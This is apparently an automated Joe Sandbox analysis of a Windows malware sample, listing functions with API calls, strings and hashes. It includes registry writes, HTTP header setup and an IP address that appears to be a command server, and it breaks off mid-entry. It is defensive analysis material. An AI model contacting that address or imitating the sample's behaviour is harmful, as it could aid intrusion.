Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 0040A6E0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000A6EC,0040A064), ref: 0040A6E5

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 00409B9D Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,00409B7B), ref: 00409BA9
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409B7B), ref: 00409BB4
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409B7B), ref: 00409BC5
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00409BD7
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00409BE5
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409B7B), ref: 00409C08
DeleteCriticalSection.KERNEL32(0042D064,00000007,?,?,00409B7B), ref: 00409C24
CloseHandle.KERNEL32(00000000,?,?,00409B7B), ref: 00409C34

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00409BAF
WakeAllConditionVariable, xrefs: 00409BDD
kernel32.dll, xrefs: 00409BC0
SleepConditionVariableCS, xrefs: 00409BD1

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 37dafa969150eeb09f2d68ad9d46abae469e8d92b579355ddc2ecf38041403ba
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 4B017531F44721BBE7205BB4BC09F563AE8AB48715F544032F905E22A2DB78CC078A6C

Function 1000A001 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 1000A045

Part of subcall function 1000C420: _free.LIBCMT ref: 1000C43D
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C44F
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C461
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C473
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C485
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C497
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4A9
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4BB
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4CD
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4DF
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4F1
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C503
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C515

_free.LIBCMT ref: 1000A03A

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 1000A05C
_free.LIBCMT ref: 1000A071
_free.LIBCMT ref: 1000A07C
_free.LIBCMT ref: 1000A09E
_free.LIBCMT ref: 1000A0B1
_free.LIBCMT ref: 1000A0BF
_free.LIBCMT ref: 1000A0CA
_free.LIBCMT ref: 1000A102
_free.LIBCMT ref: 1000A109
_free.LIBCMT ref: 1000A126
_free.LIBCMT ref: 1000A13E

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 4f6d344103cf7811bd09b71d21c977f492913705ec11a3a18dac91d66e09e7eb
Instruction ID: 0af802e5104cca544d2385e0ca1ca05a391064d886f9d3a5cb5d526743884836
Opcode Fuzzy Hash: 4f6d344103cf7811bd09b71d21c977f492913705ec11a3a18dac91d66e09e7eb
Instruction Fuzzy Hash: 24315B31A002059BFB20DA34DC41B8A77E9FB423E0F114519F449E719ADE79FE908761

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

TMPDIR, xrefs: 10001E24
APPDATA, xrefs: 10001D3F

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 10006D58 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 10006D6E

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 10006D7A
_free.LIBCMT ref: 10006D85
_free.LIBCMT ref: 10006D90
_free.LIBCMT ref: 10006D9B
_free.LIBCMT ref: 10006DA6
_free.LIBCMT ref: 10006DB1
_free.LIBCMT ref: 10006DBC
_free.LIBCMT ref: 10006DC7
_free.LIBCMT ref: 10006DD5

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8b6844ad3729e3fcad320fbe5a6c795a3d07021f3fe8183e596603b455261e22
Instruction ID: b25e74a844c2162c16b878e0af7aba0ae7dfb07406db983acad16b8670962f51
Opcode Fuzzy Hash: 8b6844ad3729e3fcad320fbe5a6c795a3d07021f3fe8183e596603b455261e22
Instruction Fuzzy Hash: B121EB7AA00108AFDB01DF94CC81CDD7BB9FF48290F4041A6F509AB265DB35EB45CB91

Function 0041C38F Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0041CE8F), ref: 0041C3A8

Strings

log10, xrefs: 0041C3EA, 0041C3F9
exp, xrefs: 0041C427, 0041C48C
pow, xrefs: 0041C446, 0041C4F0, 0041C53D
log, xrefs: 0041C405, 0041C414
acos, xrefs: 0041C4DE
asin, xrefs: 0041C4D5
sqrt, xrefs: 0041C4E7

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction ID: c807006a3b6ff10d3a002f023a5ec1143af0d4f8941b6a10615b45774aafcbb0
Opcode Fuzzy Hash: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction Fuzzy Hash: A751CC7098422AEBCB108F98ED9C5FE7F71FB05304F908057D480A6664C7BC99A6CB5D

Function 04D1B0BB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04D1B1DA
___TypeMatch.LIBVCRUNTIME ref: 04D1B2E8
_UnwindNestedFrames.LIBCMT ref: 04D1B43A
CallUnexpected.LIBVCRUNTIME ref: 04D1B455

Strings

csm, xrefs: 04D1B211
csm, xrefs: 04D1B165
csm, xrefs: 04D1B0F8

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: bac4b2bd35a99726dd9da4778745c43f749b37fdec81d0030b6f39d644add51c
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 44B14871900609FFDF19DFA4E8809AEBBB5FF04318B15815AEC116B225D770FA61CBA1

Function 04B7BF22 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04B7C041
___TypeMatch.LIBVCRUNTIME ref: 04B7C14F
_UnwindNestedFrames.LIBCMT ref: 04B7C2A1
CallUnexpected.LIBVCRUNTIME ref: 04B7C2BC

Strings

csm, xrefs: 04B7BF5F
csm, xrefs: 04B7BFCC
csm, xrefs: 04B7C078

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: f5c89012b066a66ad6168482566ad0995fe559039975f7f9f30afd8269c1cf1d
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: FAB15672800209EFDF25DFA4C8809AEBBB5FF04318B1444AEE9256B611D735FA61CF91

Function 0040BCBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040BDDA
___TypeMatch.LIBVCRUNTIME ref: 0040BEE8
_UnwindNestedFrames.LIBCMT ref: 0040C03A
CallUnexpected.LIBVCRUNTIME ref: 0040C055

Strings

csm, xrefs: 0040BE11
csm, xrefs: 0040BD65
csm, xrefs: 0040BCF8

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 526bd2c442181307887733989819878d768e136a746cf2eec307868f2bd45ee9
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: EEB1477180020AEBCF25DFA5C8819AEBBB5EF04314B14416BE815BB292D738DA51CFDD

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 1000416E
csm, xrefs: 10004287
csm, xrefs: 100041DB

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 004058D0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 122registrysleepCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

80.82.65.70, xrefs: 00405FFB, 00406014, 004068DA
mixone, xrefs: 00406219
80.82.65.70, xrefs: 00406A92

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CloseCreateOpenSleepValue
String ID: 80.82.65.70$80.82.65.70$mixone
API String ID: 4111408922-741342192
Opcode ID: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction ID: 36deb0a2def4af7d69c3889f60f670a394a8a5da25757ff3a02b89eea185ed5b
Opcode Fuzzy Hash: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction Fuzzy Hash: F3418571210108AFEB08DF58DC95BEE7B65EF08300F908229F955AB5D1D778E9848F58

Function 10008F36 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 10008F60
_free.LIBCMT ref: 10009039
_free.LIBCMT ref: 10009066

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 95010d729c9058774f15a7cf8f5dacf6367eb285395d52ca300c8e26b156bdd9
Instruction ID: d9dcc3e5fe16bdce254290b2b7dc8605e647b21a7cac7c74f5ab9bfc5a2656b0
Opcode Fuzzy Hash: 95010d729c9058774f15a7cf8f5dacf6367eb285395d52ca300c8e26b156bdd9
Instruction Fuzzy Hash: 83510474E04246EFFB10DFB48C85A9E7BE4EF413D0F124169E95497289EB769A00CB51

Function 04B79E04 Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,04B79DE2), ref: 04B79E10
GetModuleHandleW.KERNEL32(0041FFC8,?,?,04B79DE2), ref: 04B79E1B
GetModuleHandleW.KERNEL32(0042000C,?,?,04B79DE2), ref: 04B79E2C
GetProcAddress.KERNEL32(00000000,00420028), ref: 04B79E3E
GetProcAddress.KERNEL32(00000000,00420044), ref: 04B79E4C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B79DE2), ref: 04B79E6F
RtlDeleteCriticalSection.NTDLL(0042D064), ref: 04B79E8B
CloseHandle.KERNEL32(0042D060,?,?,04B79DE2), ref: 04B79E9B

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 31bcea0da525522d472259c09a69762e71c8e0e9f18173b0ceaf42d137b5382e
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 70017571F44711ABE7205BB4FC09F9B3AE8EB48B05B504475F915E2161DB74D80B8A68

Function 04D231CC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D23252

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: ded5fc1761a6bf1c0f9cdc6b3a0c9b7ebd8aa7d600dec1e908b46a968bfb65d8
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 4BB15832A00675AFEB128F78CD81BAE7BA5FF65318F144195ED04AB281D678F901C7A0

Function 04B84033 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B840B9

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: d6994bcec15641d6d08ce20922be8f2fb8bd3e3a07b071ba485c302870771c6f
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 43B15A72A042679FEB11EF64CC41BAE7FA5EF55314F1441E9E514AB281F274F901C7A0

Function 00413DCC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00413E52

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction ID: 4a21b80fcc43a582202c6f7144ab3ce64f52356938c116e7343db5097d41ee6d
Opcode Fuzzy Hash: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction Fuzzy Hash: 57B13672E003559FDB118F65CC81BEF7FA5EF59310F14416BE904AB382D2789A82C7A8

Function 004015D0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004015D5

Part of subcall function 00409842: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0040984E

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,80.82.65.70,?,?,?,80.82.65.70), ref: 0040160B
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,80.82.65.70,?,?,?,80.82.65.70), ref: 00401642
Concurrency::cancel_current_task.LIBCPMT ref: 00401757

Strings

80.82.65.70, xrefs: 004015E6
string too long, xrefs: 004015D0

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: 80.82.65.70$string too long
API String ID: 2123813255-2019710693
Opcode ID: 6bb72994ee5eb13f8e62d453f762ab58272a47427785208e35311b9dfc0f52e6
Instruction ID: 8b29ff92f67febe7d184f40cd986ab90276924f3587203b15f4be4e0e60d2281
Opcode Fuzzy Hash: 6bb72994ee5eb13f8e62d453f762ab58272a47427785208e35311b9dfc0f52e6
Instruction Fuzzy Hash: 5E4127B1A00300ABD720AF759C8575BB7B8EF48354F24063AF91AE73D1E775AD0487A9

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 04D1ABC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04D1ABF7
___except_validate_context_record.LIBVCRUNTIME ref: 04D1ABFF
_ValidateLocalCookies.LIBCMT ref: 04D1AC88
__IsNonwritableInCurrentImage.LIBCMT ref: 04D1ACB3
_ValidateLocalCookies.LIBCMT ref: 04D1AD08

Strings

csm, xrefs: 04D1AC9D

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 750e59d06b6bac8997abbd2ebca06cf50b6215c0eaf1232c9d74bdac9963eca9
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 1841B234B01258BBCF10DF68E884A9EBBA6FF44328F148055EC195B362D735F905CBA0

Function 0040B7C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs
